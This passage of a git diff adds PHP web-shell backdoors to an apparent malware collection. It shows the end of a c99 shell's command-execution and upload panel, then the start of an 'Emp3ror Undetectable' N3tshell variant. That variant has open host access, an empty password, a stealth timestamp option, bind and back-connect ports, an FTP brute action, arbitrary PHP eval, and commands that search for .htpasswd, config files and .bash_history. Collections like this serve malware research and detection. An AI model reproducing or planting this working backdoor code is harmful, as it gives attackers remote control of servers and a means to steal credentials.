+"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ". +"AAA7", +"ext_html"=> +"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz". +"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P". +"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk". +"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR". +"ADs=", +"ext_jpg"=> +"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". +"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". +"FxEAOw==", +"ext_js"=> +"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH". +"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs". +"a00AjYYBbc/o9HjNniUAADs=", +"ext_lnk"=> +"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO". +"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi". +"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk". +"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG". +"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5". +"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf". +"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ". +"ADs=", +"ext_log"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". +"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", +"ext_php"=> +"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg". +"t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==", +"ext_pl"=> +"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". +"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", +"ext_swf"=> +"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". +"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". +"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". +"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", +"ext_tar"=> +"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". +"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". +"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". +"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". +"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". +"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". +"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". +"u4tLAgEAOw==", +"ext_txt"=> +"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". +"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". +"UpPWG3Ig6Hq/XmRjuZwkAAA7", +"ext_wri"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". +"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", +"ext_xml"=> +"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". +"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". +"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". +"IQA7" + ); + //For simple size- and speed-optimization. + $imgequals = array( + "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), + "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), + "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), + "ext_html"=>array("ext_html","ext_htm"), + "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), + "ext_lnk"=>array("ext_lnk","ext_url"), + "ext_ini"=>array("ext_ini","ext_css","ext_inf"), + "ext_doc"=>array("ext_doc","ext_dot"), + "ext_js"=>array("ext_js","ext_vbs"), + "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), + "ext_wri"=>array("ext_wri","ext_rtf"), + "ext_swf"=>array("ext_swf","ext_fla"), + "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), + "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") + ); + if (!$getall) + { + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} + if (empty($images[$img])) {$img = "small_unk";} + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + echo base64_decode($images[$img]); + } + else + { + foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}} + natsort($images); + $k = array_keys($images); + echo "<center>"; + foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";} + echo "</center>"; + } + exit; +} +if ($act == "about") {echo "<center><b>Credits:<br>www.xxx.org<br>xxx<br></b>";} +?> + +<td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Command execute</b></a> ::</b></p></td></tr> +<tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type="hidden" name="act" value="cmd"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type="hidden" name="cmd_txt" value="1">&nbsp;<input type="submit" name="submit" value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type="hidden" name="act" value="cmd"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type="hidden" name="cmd_txt" value="1">&nbsp;<input type="submit" name="submit" value="Execute"></form></td></tr></TABLE> +<br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr> + <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=search&d=<?php echo urlencode($d); ?>"><b>Search</b></a> ::</b><form method="POST"><input type="hidden" name="act" value="search"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1" checked> - regexp&nbsp;<input type="submit" name="submit" value="Search"></form></center></p></td> + <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=upload&d=<?php echo $ud; ?>"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type="hidden" name="act" value="upload"><input type="file" name="uploadfile"><input type="hidden" name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td> +</tr> +</table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form method="POST"><input type="hidden" name="act" value="mkdir"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type="submit" value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type="hidden" name="act" value="mkfile"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type="hidden" name="ft" value="edit">&nbsp;<input type="submit" value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form action="<?php echo htmlspecialchars($surl); ?>"><input type="hidden" name="act" value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type="submit" value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form action="<?php echo htmlspecialchars($surl); ?>"><input type="hidden" name="act" value="gofile"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type="submit" value="Go"></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ c99shell v. <?php echo $shver; ?> <a href="<?php echo $surl; ?>act=about"><u><b>powered by</b></u></a> GaRDeNFoX | <a href="http://www.spygrup.org"><font color="#FF0000">GaRDeNFoX</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></p></td></tr></table> +</body></html><?php chdir($lastdir); exit; ?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/c99.txt b/web-malware-collection-master/Backdoors/PHP/c99.txt new file mode 100755 index 0000000..9b70f12 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/c99.txt @@ -0,0 +1,3154 @@ +<?php +//Starting calls +if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}} +error_reporting(5); +@ignore_user_abort(TRUE); +@set_magic_quotes_runtime(0); +$win = strtolower(substr(PHP_OS,0,3)) == "win"; +define("starttime",getmicrotime()); +if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} +$_REQUEST = array_merge($_COOKIE,$_GET,$_POST); +foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} + +$shver = "Emp3ror Undetectable #18"; //Current version +//CONFIGURATION AND SETTINGS +if (!empty($unset_surl)) {setcookie("N3tsh_surl"); $surl = "";} +elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("N3tsh_surl",$surl);} +else {$surl = $_REQUEST["N3tsh_surl"]; //Set this cookie for manual SURL +} + +$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL. + +if ($surl_autofill_include and !$_REQUEST["N3tsh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} +if (empty($surl)) +{ + $surl = "?".$includestr; //Self url +} +$surl = htmlspecialchars($surl); + +$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited. + +//Authentication +$login = ""; //login +//DON'T FORGOT ABOUT PASSWORD!!! +$pass = ""; //password +$md5_pass = ""; //md5-cryped pass. if null, md5($pass) + +$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") +$login_txt = "Restricted area"; //http-auth message. +$accessdeniedmess = " N3tshell v. ".$shver.": access denied"; + +$gzipencode = TRUE; //Encode with gzip? + +$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE) + +$N3tsh_updateurl = "http://emp3ror.com/N3tshell//update/"; //Update server +$N3tsh_sourcesurl = "http://emp3ror.com/N3tshell/"; //Sources-server + +$filestealth = TRUE; //if TRUE, don't change modify- and access-time + +$donated_html = "<center><b>Owned by Spyn3t</b></center>"; +/* If you publish free shell and you wish +add link to your site or any other information, +put here your html. */ +$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. + +$curdir = "./"; //start folder +//$curdir = getenv("DOCUMENT_ROOT"); +$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) +$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...) + +$log_email = "0xd4yx@gmail.com"; //Default e-mail for sending logs + +$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending +$sort_save = TRUE; //If TRUE then save sorting-position using cookies. + +// Registered file-types. +// array( +// "{action1}"=>array("ext1","ext2","ext3",...), +// "{action2}"=>array("ext4","ext5","ext6",...), +// ... +// ) +$ftypes = array( + "html"=>array("html","htm","shtml"), + "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), + "exe"=>array("sh","install","bat","cmd"), + "ini"=>array("ini","inf"), + "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), + "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), + "sdb"=>array("sdb"), + "phpsess"=>array("sess"), + "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") +); + +// Registered executable file-types. +// array( +// string "command{i}"=>array("ext1","ext2","ext3",...), +// ... +// ) +// {command}: %f% = filename +$exeftypes = array( + getenv("PHPRC")." -q %f%" => array("php","php3","php4"), + "perl %f%" => array("pl","cgi") +); + +/* Highlighted files. + array( + i=>array({regexp},{type},{opentag},{closetag},{break}) + ... + ) + string {regexp} - regular exp. + int {type}: +0 - files and folders (as default), +1 - files only, 2 - folders only + string {opentag} - open html-tag, e.g. "<b>" (default) + string {closetag} - close html-tag, e.g. "</b>" (default) + bool {break} - if TRUE and found match then break +*/ +$regxp_highlight = array( + array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example + array("config.php",1) // example +); + +$safemode_diskettes = array("a"); // This variable for disabling diskett-errors. + // array (i=>{letter} ...); string {letter} - letter of a drive +//$safemode_diskettes = range("a","z"); +$hexdump_lines = 8;// lines in hex preview file +$hexdump_rows = 24;// 16, 24 or 32 bytes in one line + +$nixpwdperpage = 100; // Get first N lines from /etc/passwd + +$bindport_pass = "N3t"; // default password for binding +$bindport_port = "31373"; // default port for binding +$bc_port = "31373"; // default port for back-connect +$datapipe_localport = "8081"; // default port for datapipe + +// Command-aliases +if (!$win) +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "ls -la"), + array("find all suid files", "find / -type f -perm -04000 -ls"), + array("find suid files in current dir", "find . -type f -perm -04000 -ls"), + array("find all sgid files", "find / -type f -perm -02000 -ls"), + array("find sgid files in current dir", "find . -type f -perm -02000 -ls"), + array("find config.inc.php files", "find / -type f -name config.inc.php"), + array("find config* files", "find / -type f -name \"config*\""), + array("find config* files in current dir", "find . -type f -name \"config*\""), + array("find all writable folders and files", "find / -perm -2 -ls"), + array("find all writable folders and files in current dir", "find . -perm -2 -ls"), + array("find all service.pwd files", "find / -type f -name service.pwd"), + array("find service.pwd files in current dir", "find . -type f -name service.pwd"), + array("find all .htpasswd files", "find / -type f -name .htpasswd"), + array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"), + array("find all .bash_history files", "find / -type f -name .bash_history"), + array("find .bash_history files in current dir", "find . -type f -name .bash_history"), + array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), + array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), + array("list file attributes on a Linux second extended file system", "lsattr -va"), + array("show opened ports", "netstat -an | grep -i listen") + ); +} +else +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "dir"), + array("show opened ports", "netstat -an") + ); +} + +$sess_cookie = "N3tshvars"; // Cookie-variable name + +$usefsbuff = TRUE; //Buffer-function +$copy_unset = FALSE; //Remove copied files from buffer after pasting + +//Quick launch +$quicklaunch = array( + array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl), + array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"), + array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"), + array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"), + array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""), + array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"), + array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"), + array("<b>Encoder</b>",$surl."act=encoder&d=%d"), + array("<b>Tools</b>",$surl."act=tools&d=%d"), + array("<b>Proc.</b>",$surl."act=processes&d=%d"), + array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"), + array("<b>Sec.</b>",$surl."act=security&d=%d"), + array("<b>SQL</b>",$surl."act=sql&d=%d"), + array("<b>PHP-code</b>",$surl."act=eval&d=%d"), + array("<b>Update</b>",$surl."act=update&d=%d"), + array("<b>Feedback</b>",$surl."act=feedback&d=%d"), + array("<b>Self remove</b>",$surl."act=selfremove"), + array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()") +); + +//Highlight-code colors +$highlight_background = "#c0c0c0"; +$highlight_bg = "#FFFFFF"; +$highlight_comment = "#6A6A6A"; +$highlight_default = "#0000BB"; +$highlight_html = "#1300FF"; +$highlight_keyword = "#007700"; +$highlight_string = "#000000"; + +@$f = $_REQUEST["f"]; +@extract($_REQUEST["N3tshcook"]); + +//END CONFIGURATION + + +// \/Next code isn't for editing\/ +@set_time_limit(0); +$tmp = array(); +foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} +$s = "!^(".implode("|",$tmp).")$!i"; +if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cN3tshell\">N3tshell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");} +if (!empty($login)) +{ + if (empty($md5_pass)) {$md5_pass = md5($pass);} + if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) + { + if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));} + header("WWW-Authenticate: Basic realm=\"N3tshell ".$shver.": ".$login_txt."\""); + header("HTTP/1.0 401 Unauthorized"); + exit($accessdeniedmess); + } +} +if ($act != "img") +{ +$lastdir = realpath("."); +chdir($curdir); +if ($selfwrite or $updatenow) {@ob_clean(); N3tsh_getupdate($selfwrite,1); exit;} +$sess_data = unserialize($_COOKIE["$sess_cookie"]); +if (!is_array($sess_data)) {$sess_data = array();} +if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} +if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} + +$disablefunc = @ini_get("disable_functions"); +if (!empty($disablefunc)) +{ + $disablefunc = str_replace(" ","",$disablefunc); + $disablefunc = explode(",",$disablefunc); +} + +if (!function_exists("N3t_buff_prepare")) +{ +function N3t_buff_prepare() +{ + global $sess_data; + global $act; + foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + $sess_data["copy"] = array_unique($sess_data["copy"]); + $sess_data["cut"] = array_unique($sess_data["cut"]); + sort($sess_data["copy"]); + sort($sess_data["cut"]); + if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} + else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} +} +} +N3t_buff_prepare(); +if (!function_exists("N3t_sess_put")) +{ +function N3t_sess_put($data) +{ + global $sess_cookie; + global $sess_data; + N3t_buff_prepare(); + $sess_data = $data; + $data = serialize($data); + setcookie($sess_cookie,$data); +} +} +foreach (array("sort","sql_sort") as $v) +{ + if (!empty($_GET[$v])) {$$v = $_GET[$v];} + if (!empty($_POST[$v])) {$$v = $_POST[$v];} +} +if ($sort_save) +{ + if (!empty($sort)) {setcookie("sort",$sort);} + if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} +} +if (!function_exists("str2mini")) +{ +function str2mini($content,$len) +{ + if (strlen($content) > $len) + { + $len = ceil($len/2) - 2; + return substr($content, 0,$len)."...".substr($content,-$len); + } + else {return $content;} +} +} +if (!function_exists("view_size")) +{ +function view_size($size) +{ + if (!is_numeric($size)) {return FALSE;} + else + { + if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} + elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} + elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} + else {$size = $size . " B";} + return $size; + } +} +} +if (!function_exists("fs_copy_dir")) +{ +function fs_copy_dir($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +} +if (!function_exists("fs_copy_obj")) +{ +function fs_copy_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (!is_dir(dirname($t))) {mkdir(dirname($t));} + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_copy_dir($d,$t); + } + elseif (is_file($d)) {return copy($d,$t);} + else {return FALSE;} +} +} +if (!function_exists("fs_move_dir")) +{ +function fs_move_dir($d,$t) +{ + $h = opendir($d); + if (!is_dir($t)) {mkdir($t);} + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + $ret = TRUE; + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +} +if (!function_exists("fs_move_obj")) +{ +function fs_move_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (is_dir($d)) + { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_move_dir($d,$t); + } + elseif (is_file($d)) + { + if(copy($d,$t)) {return unlink($d);} + else {unlink($t); return FALSE;} + } + else {return FALSE;} +} +} +if (!function_exists("fs_rmdir")) +{ +function fs_rmdir($d) +{ + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.$o)) {unlink($d.$o);} + else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} + } + } + closedir($h); + rmdir($d); + return !is_dir($d); +} +} +if 